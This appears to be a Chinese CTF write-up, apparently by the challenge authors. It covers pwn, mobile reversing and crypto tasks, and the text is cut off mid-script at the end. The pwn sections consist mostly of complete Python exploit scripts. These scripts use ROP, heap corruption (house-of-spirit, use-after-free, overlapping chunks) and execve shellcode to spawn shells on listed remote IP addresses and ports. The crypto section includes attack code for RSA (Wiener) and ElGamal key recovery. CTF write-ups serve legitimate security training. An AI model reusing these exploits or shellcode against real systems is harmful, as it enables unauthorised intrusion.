payload0 += l64(pop_rbp_ret)
payload0 += l64(adr_stage)
payload0 += l64(leave_ret)
payload0 = payload0.ljust(0xc8, 'A')
# fake structure
align_rel_plt = 0x8*3 - (adr_fake_rel_plt - adr_rel_plt) % (0x8 * 3)
payload1 = 'A' * 0x8
payload1 += l64(pop_rdi_ret) # set $rdi "/bin/sh"
payload1 += l64(adr_shell)
payload1 += l64(plt_resolve)
payload1 += l64((adr_fake_rel_plt - adr_rel_plt + align_rel_plt) / (0x8 * 3))
payload1 += l64(0xdeadbeef)
payload1 = payload1.ljust(0x100, 'A')
align_dyn_sym = 0x8*3 - (adr_fake_dyn_sym - adr_dyn_sym) % (0x8 * 3)
payload1 += 'A' * align_rel_plt
payload1 += l64(got_read)
payload1 += l64((adr_fake_dyn_sym - adr_dyn_sym + align_dyn_sym)/(0x8*3)*0x100000000 + 0x7)
payload1 = payload1.ljust(0x208, 'A')
payload1 += 'A' * align_dyn_sym
payload1 += l32(adr_fake_dyn_str - adr_dyn_str)
payload1 += l32(0x12)
payload1 += l64(0x0)
payload1 += l64(0x0)
payload1 = payload1.ljust(0x300, 'A')
payload1 += 'systemx00'
payload1 = payload1.ljust(0x400, 'A')
payload1 += '/bin/shx00'
payload1 = payload1.ljust(0x500, 'A')
io.w(payload1)
io.w(payload0)
io.rl()
io.interact()
**
**
**PWN200**
**Bugs**
1\. 存在栈地址泄露
2\. 在输入`money`时存在栈溢出，可覆盖`malloc`出的指针
**Thinking**
首先泄露出栈地址，然后覆盖堆指针为栈上的可控区域，我们可以精巧的构造这块区域成一个伪造的堆块，之后通过free，这个堆块即被加入到了fastbin中，然后再通过malloc，即可对这个堆块的空间进行任意写，这时只要覆盖栈上的返回地址为一个jmp
rsp，再通过一个short jmp，来执行shellcode，即可获得shell
另外，在构造堆块时，同时要构造好相邻的下一个堆块的头部，使得其prev_inuse == 1（在free的时候会检查）
（其实这个漏洞利用的过程也叫house-of-spirit）
然而。事实上由于我的疏忽，可以直接覆盖指针为got表函数的地址，然后strcpy修改got表函数的地址，即可执行shellcode，sigh:(
**Exploit**
from zio import *
target = './pwn200'
target = ('119.28.63.211', 2333)
io = zio(target, print_read = COLORED(RAW, 'red'), print_write = COLORED(RAW, 'blue'), timeout = 10000)
io.rl()
# x86/bsd/exec: 24 bytes
shellcode = (
"x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56"
"x53x54x5fx6ax3bx58x31xd2x0fx05"
)
# leak stack
fake = shellcode.ljust(0x30, 'A') # shellcode
io.w(fake)
io.rtl('A' * (0x30 - len(shellcode)))
stack_ptr = l64(io.rtl(',')[:-1].ljust(0x8, 'x00')) - 0xb0
print '[+] leak stack pointert:t0x%x' % stack_ptr
io.rtl('id ~~?')
io.wl(0x20) # size of next chunk
fake = 'A' * 0x8
fake += l64(0x61) # size of free'd chunk
fake += 'A' * 0x28
fake += l64(stack_ptr) # vuln stack pointer
io.rtl('money~')
io.w(fake)
io.rtl('choice')
io.wl(2)
io.rtl('choice')
fake = 'A' * 0x38
fake += l64(0x00400d1b) # jmp rsp
fake += 'xebx1ex00x00' # short jmp
fake = fake.ljust(0x10, 'B')
io.wls([1, 0x50, fake])
io.wl(3) # ret to get shell
io.itr()
**Reference**
1\. <https://gbmaster.wordpress.com/2015/07/21/x86-exploitation-101-house-of-spirit-friendly-stack-overflow/>
2\. <https://github.com/shellphish/how2heap/blob/master/house_of_spirit.c>
**
**
**PWN300**
**Bugs**
简单粗暴的一个栈溢出
**Thinking**
程序动态链接的两个共享库都是我自己写的，libio.so里用syscall实现了两个输入输出函数，libgetshell.so里放了一个执行shellcode的getshell函数
自己设计的思路是根据[[1]](http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html)这篇文章来的。手动查文件头和各种表寻找共享库内的函数地址。
关于libgetshell.so的基地址，只要泄露link_map就可以得到
**Exploit**
from zio import *
io = zio(('119.28.63.211', 2339), print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)
io.hint([0x4004cb])
got_write = 0x601018
got_read = 0x601020
adr_bss = 0x601000
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = l64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += l64(0x0) # rbx be 0x0
payload += l64(0x1) # rbp be 0x1
payload += l64(jmp2) # r12 jump to
payload += l64(arg3) # r13 -> rdx arg3
payload += l64(arg2) # r14 -> rsi arg2
payload += l64(arg1) # r15 -> edi arg1
payload += l64(part2) # part2 entry will call [rbx + r12 + 0x8]
payload += 'A' * 48 # junk
return payload
def leak(address, size):
payload = 'A' * 0x28
payload += com_gadget(0x40049c, 0x400480, jmp2 = got_write,
arg1 = 0x1,
arg2 = address,
arg3 = size)
payload += l64(0x4004ec) # program entry
io.rl()
io.w(payload)
leak_data = io.r(size)
print '{} ==> {}'.format(hex(address), leak_data.encode('hex'))
return leak_data
def getshell(adr_system):
raw_input()
payload = 'A' * 0x28
payload += com_gadget(0x40049c, 0x400480, jmp2 = got_read,
arg1 = 0x0,
arg2 = adr_bss + 0x80,
arg3 = 0x10)
payload += l64(0x4004ec) # program entry
io.w(payload)
io.w('/bin/shx00' + l64(adr_system))
payload = 'A' * 0x28
payload += com_gadget(0x40049c, 0x400480, jmp2 = adr_bss + 0x88,
arg1 = adr_bss + 0x80)
payload += l64(0xdeadbeef)
io.w(payload.ljust(0x80, 'A'))
# manual leak libc
BITS = 64
def find_elf_base():
adr_lmap = 0x601008
node = l64(leak(adr_lmap, 8))
name = 0x0
junk = ''
while True:
if node:
junk = leak(node, 8*5)
if 'getshell' in leak(l64(junk[8:16]), 0x80):
print '[+] find shared object at 0x%x ~' % l64(junk[:8])
break
else :
node = l64(junk[24:32])
else:
print '[-] not found ~'
break
return l64(junk[:8])
# find program header table
def find_phdr(elf_base):
if BITS == 64:
# get address of program header table
phdr = l64(leak(elf_base + 0x20, 0x8)) + elf_base
print '[+] program headers tablett:t0x%x' % phdr
return phdr
# find dynamic section table (.dynamic section -> DYNAMIC segment)
def find_dyn_section(phdr, elf_base):
if BITS == 64:
phdr_ent = phdr
while True:
garbage = l32(leak(phdr_ent, 0x4))
# p_type of dynamic segment is 0x2
if garbage == 0x2:
break
phdr_ent += 0x38
dyn_section = l64(leak(phdr_ent + 0x10, 0x8)) + elf_base
print '[+] .dynamic section headers tablet:t0x%x' % dyn_section
return dyn_section
def find_sym_str_table(dyn_section):
if BITS == 64:
dyn_ent = dyn_section
dt_sym_tab = 0x0
dt_str_tab = 0x0
while True:
garbage = l64(leak(dyn_ent, 0x8))
if garbage == 0x6:
dt_sym_tab = l64(leak(dyn_ent + 0x8, 0x8))
elif garbage == 0x5:
dt_str_tab = l64(leak(dyn_ent + 0x8, 0x8))
if dt_str_tab and dt_sym_tab:
break
dyn_ent += 0x10
print '[+] symtabtttt:t0x%x' % dt_sym_tab
print '[+] strtabtttt:t0x%x' % dt_str_tab
return (dt_sym_tab, dt_str_tab)
def find_func_adr(dt_sym_tab, dt_str_tab, func, elf_base):
if BITS == 64:
sym_ent = dt_sym_tab
while True:
garbage = l32(leak(sym_ent, 0x4))
name = leak(dt_str_tab + garbage, len(func))
if name == func:
break
sym_ent += 0x18
adr_func = l64(leak(sym_ent + 0x8, 0x8)) + elf_base
print '[+] %s loaded addresst:t0x%x' % (func, adr_func)
return adr_func
# exploit ELF
def lookup(func):
elf_base = find_elf_base()
phdr = find_phdr(elf_base)
dyn_section = find_dyn_section(phdr, elf_base)
dt_sym_tab, dt_str_tab = find_sym_str_table(dyn_section)
func_address = find_func_adr(dt_sym_tab, dt_str_tab, func, elf_base)
return func_address
result = lookup('getshell')
print '[+] function @ 0x%x' % result
getshell(result)
io.itr()
**Reference**
1\. <http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html>
**
**
**PWN400**
**Bugs**
1\. 在delete时没有对对象指针置零
2\. 加密后输入加密结果时存在泄漏，可泄漏出堆地址
**Thinking**
由于在delete后没有对对象指针置零，可导致一个uaf，通过uaf伪造一个对象的虚表指针和虚表，从而执行任意地址代码。另外，由于对象在调用虚函数时会传入一个参数，这个参数是对象本身的地址，因此第一个参数不能直接被我们控制，需要通过一段ROP来设置调用时的参数
大致的利用方式就是先通过UAF调用printf来泄露libc基地址，然后再通过system来getshell
通过一个
**Exploit**
from zio import *
target = ('119.28.62.216', 10023)
io = zio((target), print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 10000)
io.hint([0x401fba, 0x401fe3, 0x400d40])
# adr
plt_printf = 0x0000000000400be0
p8_ret = 0x00402336
pop_rdi_ret = 0x00402343
entry = 0x400d40
# new key
def leak():
io.wls([1, 1, 11, 13])
# io.wls([2, 0x40, (('AAAAAAAA' +'%{}$lxx00'.format(0x8b)).ljust(0x18, 'a') + l64(p8_ret)).ljust(0x40, 'a')])
io.wls([2, 0x40, (('AAAAAAAA' +'0x%{}$lxx00'.format(71)).ljust(0x18, 'a') + l64(p8_ret)).ljust(0x40, 'a')])
io.rtl('ciphertext: ')
io.r(0x40 * 8)
heap_base = l64(io.rl()[:-1].ljust(0x8, 'x00')) - 0x270
print '[+] heap base: 0x%x' % heap_base
# free
io.wls([3, 0x10, '41' * 0x10])
# malloc
io.wls([4, l64(heap_base + 0x20)])
# rop chain in stack (uaf)
io.wls([2, 0x20, (l64(pop_rdi_ret) + l64(heap_base + 0x20) + l64(plt_printf) + l64(entry)).ljust(0x20, 'A')])
for i in xrange(4): io.rtl('0x')
adr_libc_start_main_ret = int(io.rtl('R')[:-1], 16)
off_libc_start_main_ret = 0x21ec5
libc_base = adr_libc_start_main_ret - off_libc_start_main_ret
off_system = 0x00000000000468f0
adr_system = libc_base + off_system
print '[+] libc base : 0x%x' % libc_base
print '[+] system : 0x%x' % adr_system
return adr_system
def exp(adr_system):
# io.wls([2, 0x40, (('AAAAAAAA' +'%{}$lxx00'.format(0x8b)).ljust(0x18, 'a') + l64(p8_ret)).ljust(0x40, 'a')])
io.wls([1, 1, 11, 13])
io.wls([2, 0x40, (('AAAAAAAA' +'/bin/shx00').ljust(0x18, 'a') + l64(p8_ret)).ljust(0x40, 'a')])
io.rtl('ciphertext: ')
io.r(0x40 * 8)
heap_base = l64(io.rl()[:-1].ljust(0x8, 'x00')) - 0x270 + 0x450
print '[+] heap base: 0x%x' % heap_base
io.wls([3, 0x10, '41' * 0x10])
for i in xrange(0x4): io.wls([4, l64(heap_base + 0x20)])
# rop chain in stack
io.wls([2, 0x20, (l64(pop_rdi_ret) + l64(heap_base + 0x20) + l64(adr_system) + l64(entry)).ljust(0x20, 'A')])
exp(leak())
io.itr()
**
**
**PWN500**
**Bugs**
1\. 在读取字符串时存在一个null的溢出，在读取package的内容时可溢出到下一个堆块
2\. 一些编程的逻辑漏洞，在save package时没有对package_head置零
**Thinking**
程序开始时会malloc(0x20)用来存储sender，receiver，package链表的头结点地址
malloc(0x98)存储sender的内容
malloc(0xb8)存储receiver的内容
malloc(len+0x18)存储package内容
我采用的利用技巧是shrink free
chunks，这个方法在<http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf>中有介绍，最终的目标就是构造出overlapping
chunks，这样，通过修改package的内容，来达到修改receiver的链表next和prev指针的目的
之后就可以达到泄露heap和libc的目的，最后覆盖got表来get shell
**PoC of "shrinking free chunks"**
char *a, *b, *c, *d, *e, *f;
a = malloc(0x208);
b = malloc(0x208);
c = malloc(0x208);
free(b);
a[0x208] = 0x0;
d = malloc(0x80);
e = malloc(0x80);
free(d);
free(c);
f = malloc(0x208); // f and e are overlapping chunks
```
#### Exploit
```python
from zio import *
io = zio(('119.28.62.216', 10024), print_read = COLORED(RAW, 'red'), print_write = COLORED(RAW, 'blue'), timeout = 100000)
io.hint([0x400e16])
adr_control = 0x6030b8
io.wl_af('?', 'y')
io.wls_af(':', [1, '/bin/sh', 'BBBB'])
io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'BBBB', 'CCCC', 'DDDD'])
io.wls_af(':', [2, 0x1f0, 'aaaa'])
io.wls_af(':', [2, 0x1f0, 'aaaa'])
io.wls_af(':', [2, 0x1f0, 'dddd'])
io.wls_af(':', [3, 2])
io.wls_af(':', [3, 1])
io.wls_af(':', [2, 0x1f0, 'b' * 0x1f0]) # shrink free chunk
io.wl_af(':', 5)
io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'BBBB', 'CCCC', 'DDDD'])
io.wl_af(':', 5)
io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'BBBB', 'CCCC', 'DDDD'])
io.wl_af(':', 5)
# overlap
io.wls_af(':', [4, 2])
io.wls_af(':', [4, 1])
io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'AAAA', 'AAAA', 'AAAA'])
io.wls_af(':', [3, 1])
io.wls_af(':', [2, 0x1f0, 'b' * 0x98 + l64(0x0) + l64(0x81) + l64(adr_control - 0x20)])
io.wl_af(':', 5)
io.wl_af(':', 5)
io.rtl('======receiver[2]=======')
io.rtl('postcodes:')
heap_base = l64(io.rl()[0:-1].ljust(0x8, 'x00')) - 0x10
print '[+] heap baset:0x%x' % heap_base
io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'AAAA', 'AAAA', 'AAAA'])
io.wls_af(':', [3, 0])
io.wls_af(':', [2, 0x1f0, 'd' * 0x98 + l64(0x0) + l64(0x81) + l64(0x603000 - 0x18)])
io.wl_af(':', 5)
io.wl_af(':', 5)
io.rtl('======receiver[3]=======')
io.rtl('contact:')
adr_free = l64(io.r(6).ljust(0x8, 'x00'))
off_free = 0x0000000000083c30
off_read = 0x00000000000ec690
off_puts = 0x0000000000070c70
off_malloc = 0x0000000000083590
libc_base = adr_free - off_free
off_system = 0x00000000000468f0
adr_system = off_system + libc_base
adr_puts = off_puts + libc_base
adr_read = off_read + libc_base
adr_malloc = off_malloc + libc_base
print '[+] free addresst:0x%x' % adr_free
print '[+] system addresst:0x%x' % adr_system
io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'AAAA', 'AAAA', 'AAAA'])
io.wls_af(':', [3, 0])
io.wls_af(':', [2, 0x1f0, 'd' * 0x98 + l64(0x0) + l64(0x81) + l64(heap_base)])
io.wl_af(':', 5)
io.wls_af(':', [3, 4]),
io.w(l64(0x603008) + l64(heap_base + 0x40)[0:7] + 'n' + 'B' * 0x8 + 'C' * 0x38)
io.wls_af(':', [3, 0])
io.w(l64(adr_system)[0:7] + 'n' + l64(adr_puts)[0:7] + 'n' + l64(adr_read)[0:7] + 'n' + l64(adr_malloc) + 'D' * 0x20 + l64(adr_system)[0:7] + 'n')
io.wl('sh')
io.wl('6')
io.itr()
**
**
**Misc**
**moblie 100**
这一题的确是个福利题…并没有涉及到dex函数隐藏等小技巧，只是简单的使用proguard进行了混淆。可以静态也可动态（动态先改掉debug检测，还不如直接静态看一下），那么，关键部分源码：
private void getKey(){
try {
InputStream stream = this.getResources().getAssets().open("url.png");
int v = stream.available();
byte[] bs = new byte[v];
stream.read(bs, 0, v);
byte[] keybyte = new byte[16];
System.arraycopy(bs, 144, keybyte, 0, 16);
this.key = new String(keybyte, "utf-8");
}
catch (Exception e){
e.printStackTrace();
}
//code
}
private String handle(String naive){
try {
naive.getBytes("utf-8");
StringBuilder str = new StringBuilder();
for (int i = 0; i < naive.length(); i += 2) {
str.append(naive.charAt(i + 1));
str.append(naive.charAt(i));
}
return str.toString();
}catch (UnsupportedEncodingException e){
e.printStackTrace();
}
return null;
}
protected void Encryption(byte[] key){
try {
if (key == null) {
byte[] bytes = "".getBytes("utf-8");
MessageDigest messageDigest = MessageDigest.getInstance("MD5");
byte[] bytes1 = messageDigest.digest(bytes);
secretKeySpec = new SecretKeySpec(bytes1, "AES");
cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
}
else {
secretKeySpec = new SecretKeySpec(key, "AES");
cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
}
}except{
//...
}
}
从url.png中获得key，然后使用handle函数进行处理（奇偶位互换）作为最终AES加密的key。flag密文:
byte[] bye = {21,-93,-68,-94,86,117,-19,-68,-92,33,50,118,16,13,1,-15,-13,3,4,103,-18,81,30,68,54,-93,44,-23,93,98,5,59};
new String(bye);
使用AES/ECB/PKCS5Padding，用key对选手输入进行加密，结果与flag密文进行比对；故解密时只需
init(Cipher.DECRYPT_MODE, secretKeySpec)；
对flag密文进行解密即可。
flag:LCTF{1t's_rea1ly_an_ea3y_ap4}
**
**
**moblie 200**
首先还是直接放出NDK部分源码…
std::string secret = "dHR0dGlldmFodG5vZGllc3VhY2VibGxlaHNhdG5hd2k.";
static const std::string chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
static inline bool is_base(unsigned char c) {
return (isalnum(c) || (c == '+') || (c == '/'));
}
std::string encrypt(char const* bytes_to_encode, unsigned int in_len) {
std::string ret;
int i = 0;
int j = 0;
unsigned char char_array_3[3];
unsigned char char_array_4[4];
while (in_len--) {
char_array_3[i++] = *(bytes_to_encode++);
if (i == 3) {
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;
for(i = 0; (i <4) ; i++)
ret += chars[char_array_4[i]];
i = 0;
}
}
if (i)
{
for(j = i; j < 3; j++)
char_array_3[j] = '';
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;
for (j = 0; (j < i + 1); j++)
ret += chars[char_array_4[j]];
while((i++ < 3))
ret += '.';
}
return ret;
}
static const char *handlePasswd(char* yourinput){
char* input;
std::string output = "";
input = yourinput;
if (NULL == input) {
return NULL;
}
int low = 0;
size_t hight = strlen(input) - 1;
while (low < hight) {
char tmp = input[low];
input[low] = input[hight];
input[hight] = tmp;
++low;
--hight;
}
output.append(input);
return encrypt(output.c_str(), (unsigned int) output.length()).c_str();
}
extern "C"
jboolean
Java_com_example_ring_wantashell_Check_checkPasswd(JNIEnv* env, jobject jobject1, jstring input){
const char* pass;
jboolean iscopy;
const char* password;
pass = env->GetStringUTFChars(input, false);
if (pass == NULL ){
return (jboolean)false;
}
char* pas = new char[33];
strcpy(pas, pass);
password = handlePasswd(pas);
env->ReleaseStringUTFChars(input, pass);
return (jboolean) (password == secret);
}
本题主要是静态反汇编分析能力。EditText获取选手输入后，将其substring(5,
37)得到flag，亦为即将传入native方法的值，虽然没有检测其前5及后边的字符值，但对输入长度做了限定；native
checkPasswd(String
input)方法则分为两部分，一是对input做简单处理，即倒序；二则是一个base64编码，只是我把'='用'.'来替换了；input编码后直接与密文secret进行比对，所以程序内部并没有解密方法。
Jni_OnLoad函数内部则是简单的ptrace反调试和反模拟器的一些函数以及一个对dex的SMC，即将内存中的form函数的字节码用f0rm函数的来替换（其余两个是我后来觉得只有form和f0rm的话太过直接，于是添加进去的无用函数）。这种对dex字节码的SMC是一种Android低版本的方法（version
< 5），所以高系统版本手机上会crash掉…但由于只使用了AVD的模拟器及一款三星Android
4.4.4手机做测试，没有对其他机型做适配，所以有选手反应说在nexus5
4.4.3上也出了问题…虽然尽量使用了能够静态分析出的SMC方案，但仍在此表示诚挚的歉意…（请务必不要寄刀片…）
分析出encrypt是base64的话就很简单，只需将secret的'.'换为'='，然后base64.b64decode(secret)即可得到倒序的flag，为：iwantashellbecauseidonthaveitttt
**
**
**crypt 200**
**写在前面……**
这道题本计划让参赛选手自己写脚本爆破的，然而ZZ出题人不小心把密文给的长了……于是几乎所有队伍都是在线解出来的……几乎成了签到题……出题人表示很悲伤……
**出题人计划中的解题思路：**
首先通过自己写脚本/在线工具，查出密钥很可能为两段，分别是 7、13
。然后开始爆破短密码，每爆破一位检查一次是否正确。这里有一个小点：对7位密钥爆破时，只需把第一位预设为'a'，爆破后六位就可以。用python多线程实现，大概需要3-4小时即可得出结果，Ｃ语言会更快。
怨念の出题人：只取密文中的前91个字母，你给我在线解啊在线解啊(〒︿〒)
**crypt 450**
拿到流量包，只有三个http请求：
主页
网站图标(favicon.ico)
下载了一个加密的zip文件(Somethingneeded.zip)
压缩包有密码，爆破不出来也没有提示；主页上就一个下载压缩包的链接，和一个网站图标的请求，然后看favicon.ico。一个简单的隐写，改了文件高度=
=没有想到这里会卡主一部分人，估计解压出来压缩包的都卡在密码上，没解压开压缩包的，基本都卡在这个隐写上面了。
用010editor打开图片，并载入png模板。找到文件的宽高字段，修改高度为一个略大的值，比如400，重新计算CRC并用新得到的CRC值替换原来字段的CRC值保存文件，打开就会得到zip加密的key。
修改前：
修改后：
用得到的key解压压缩包会得到三个文件。
1\. 发现RSA公钥中存在低解密指数攻击（加密指数过长）：通过Wiener Attack 攻击公钥n, e ，得到RSA私钥。恢复出RSA明文：
AES_key:>>JfffOaqYHvuSIkfU
First sign: ElGamal; First HASH: SHA[in python:>>int(SHA.new(msg).digest().encode('hex'),16)]
2\. 使用1.中得到的AES的密钥解密文本，得到：
ESIGN
HASH: SHA
Alice in Sun Sep 25 02:40:07 CST 2016
in these Signatures, important things r different....but....they r one and the same. indeed.
通过1.中所给消息，知道本次信息传递中使用的是`elgamal`签名算法。发现几条对消息签名时使用了相同的随机指数（A值相同）。根据A,B,P,以及1.中给出的hash计算方法，解出`elgamal`的私钥。
3\.
通过2中的AES明文，知道本次信息传递中使用的是`ESIGN`签名算法。用AES解密后，发现明文是两篇演讲的片段。发现没有找到flag，回头检查3，通过计算签名s的长度，发现其长度为4094位。长度有些诡异，怀疑用来计算N的私钥有问题。通过以前的积累，或查询资料，发现本次`esign`中存在阈下信道。通过2中所给信息，猜测本次阈下信道中的额外私钥r与2中`elgamal`签名的私钥相同。对3中签名信息计算后，得到信息：
flag:>>p1eas3_b00m_**__b0om_shak4l4ka_1am_****
hash:>>b96648cc3f097c6faf581386b97d7e043521abe2369d1141d9a98d4897770ea7
map(lambda x:x in string.letters[:26]+string.digits, flag)==[True for x in len(flag)]
通过得到的信息得知：flag的格式、flag的hash值、flag包含的字符。其中，根据散列值长度得知，hash算法应为SHA256。此处有两种解法：
1\. 猜测flag的值
2\. 爆破
爆破耗时：in python 7966.50890207s
解密过程脚本：
from Crypto.Cipher import AES
from Crypto.Util.number import inverse
from Crypto.Hash import SHA
#rsa wiener attack
#rsa
d=945479
n=97138137104734298609834482366162026304298592110475985436506028537069205049518477940234295052306979545838532836621897425238678644632407147169000035071022811912986002484126251044062768165713546731476185662130377342101286612617162668138061510373486561911394707269228925814230274314210636439524014517539501333347
RSA_cipher=[88338041376938401802720557408228704277670863496574655328421532326725843272097398245807134173312579420393982660449469103160527683780725884286927820971842125127589841694210130213315926335981438201260031871966789654511469636565529079969394168628995175878129596748889594295059700929788081323076914856088444245112L, 61799587191566341619854870153945004198553938077225303160352458773817261402958372192378106795721702756191976223720864957706672008373655798626158938618656502841851649551320659253777035402269371424057142314225517057707462842393420846653734853164705499492891578783074253284026413294114604336927568599227641318014L]
for x in RSA_cipher:
print hex(pow(x,d,n))[2:-1].decode('hex')
#aes
AES_key='JfffOaqYHvuSIkfU'
aes_cipher=['ciY5/kGjPdhAKVrnhNdWnrPLTRxgYyBS7qMYrz2Ak0o=n', 'qogojMDs8nk9+xjtzaJ2as9heZ1hO4tU+lkWy5p6an0=n', 'KFcU6TOSA9pa1rhK7z4MbB2973DWjefjdtLpAL3e7j2kyKh958JjDgs4gP+z14Fu7C6u40ol/t2dnm5MVgeY93g==n', 'EmS6a94W5adYv6t4lClWso8eBEc43Bv6UDf2di1eaS40jPfkKhplW2xZqhftGQSQxbXPRo7pkI7enItzc0WCy0P8TT49/UPAMF5b60gDZMPt2j/ZRAuHxaJzF8Cx2it7gKs24ncfTd4SOWe2u7MKOKw==n']
for x in aes_cipher:
aes=AES.new(AES_key, AES.MODE_CBC,x[:16])
print aes.decrypt(x.decode('base64'))[16:]
#elgamal
y=15148966177463904691976929838930853269289042839863729153722159418042428750060107430271482040640819799571694807206565563732947531693110647584022938487969095426383780089637260478432928271983711941845660111527182345478689092328947780732610986992284917052181103606943301549620374333055713772173803160039045677747L
g=25986687973107588697969881578531976225371183716036966607566598597020466205189059529253570979189706405467377222766170735056450913652725357600357578278196605120029525929914741729624555676312392184452733004866834101377570297318905377030568966047530761331315780489316379915546238079764422405334804304898426687980L
p=137967888557999584952319237542893026336748210577336880254687758603509585370528901731055615450121641462482424970657347865301939510121259558782471038671268295347199943208985837721430708786848240150088389965993410045395623590020110797728504435013202372429725107610844546670040670171936933047396461805698152157887L
a=39370371870759685744880219013861529359618555030410863001040308371947410012054549207612071728536023322186748226046661353393772853562380526414095218658206970877514669689306990840319762479981191161383790605961521206224285819589569439347118291570125764824252249717974718794796429000637269474821559491639876277622L
b_1=134684485624161722987021635696340906125874242700255840489978717909572949629047583933623167185071756551222666372564819181853883708840908663577036374636521884329720103037550136452569114301719473556970058712470208671611709476886062032130414621155592035982216482184069779157329196503823026688539159075884112435996L
b_2=105396166206430883198614275890827062056159012286110042575572024146834036632816276753821090982097827834427186711544957971715438182849629129341938574550891409300133967462947765862253827035010131907704291025456105903654968880992395975177059676410502095248239091847873470990731624808614783122403783791697356313395L
m1='ESIGN'
m2='in these Signatures, important things r different....but....they r one and the same. indeed.'
h1= int(SHA.new(m1).digest().encode('hex'),16)
h2= int(SHA.new(m2).digest().encode('hex'),16)
k = (h1-h2)*inverse((b_1 - b_2), (p-1)) %(p-1)
##secret key in elgamal
x = ((h1 - k*b_1)*inverse(a, (p-1))%(p-1))/2##--------------->or : x ==((h1 - k*b_1)*inverse(a, (p-1))%(p-1)) + (p-1)
print 'elgamal secrect key:>>'+str(x)
tmp=''
aes_cipher=['G71nGgtgTBqAlDY5ly5jr0HV36nGVkDB2QqYMlJ3/DzxE93u6MDbdGaXASH+cb4mTMLPcTbyjlZmn0Y1AD3B6q9UloQssfIorvj6TjifQ89KaZSQf1YkRl1QzcL+DLzDhvMPBEwpwhZw6CAYVitfUHHRunefNhCHWFfyYYAaMbM8BFpB8ndYMsfgF6UmhJc+qfMnxF7GqYduQwqqtmOXWnde08NAbMJzvLvZdWnYxCkRpXMAOEf80R9jkefmttTKZ2hVS23MFI7rM4/sWccpNCb2fhR0X3Mk5rpk5F9fAmmvICPkTi+nsGYg/GLIIzxwcGTZuBUVo+GDzVfE/vYUMQbhs8rYrdIffdRxPuSYkJIYvL4egnpNI7uk24xKfEWynDo1Zf5A7bjMdJ8q572JGX2/bzXGFdZw+GXIVVuZmwN0seG3Q5tCI1iMHmPdmToEhK7tZpHw4wMiinjYq4lC518jXcfhmkG7OxGer0q4D6EcjYPr10/nGjPf9lp8ra6cAungruZWnDmjUbQcC8d2itrp6DnqqAcKkNYda3OGs2LSWJwTcyz7mNhvn7vlAo9XOtI3dT6CLCqDRFc9r1cXFw7A6uFDth3Sl1Dc6aznRwiE4U41LIPaMWO5AYhkmREXXL64LbWkOWnB0JDhohKAn/ZvXgd2g+hiaCkAHvwRWu3AvLNV5V2vnzKaGF9prvinT2EYIyV66tdnCAs+2NaiZDj4E3L3FBRNxl+p23PwYMQ51x0hqKmIU2EEcDx/ZEKwnn/F7jLoAFHk/1/aoR5a55fKo+jBm9CHjlhon4QQSkyheZzmpyHCNx/BTFID8VfqhlSRUHPVGI/BuinIZklL5q9ssWobYNcUoTEnglFCsbhu5PGp0VEVNyd2ypQocG5C/DTPSqP3bdmhNgFxUgW32RpRowxnZItKRlrTZnPwFY9T7TXpCrMxydkWf/1nELWkAiqYGbIOCRRzua0DRfVNF1rLoJQF2V61lhcwkXubnCBKCRsrwmaRUQVshECW1EC6pV0Tp8i5SQ8HhbL3DOae2rFTnmw/wnpTgU28dcb4eKEdAYHlZYPd5nRJnl/jyjHwu1TaGLaY2X7ic08pEprRBz2+U7rDFdlMHAqRopbARzQu1Fb5oQMGy2qAP0QnAD9oOXnmr6ICRri5FIa1bS3Bb6+qypCVwAc9Uq68oYvSegck6Tv+pvKxLNpx6XFMEzDU81KkQ9uOz1bGI/nn5+uSrW8fJJAHd3RhYWPfVIfSWmwZ8rcCzhIZ3fZ3iXeEw22j86rhqe+1p/6Zjh8qn', 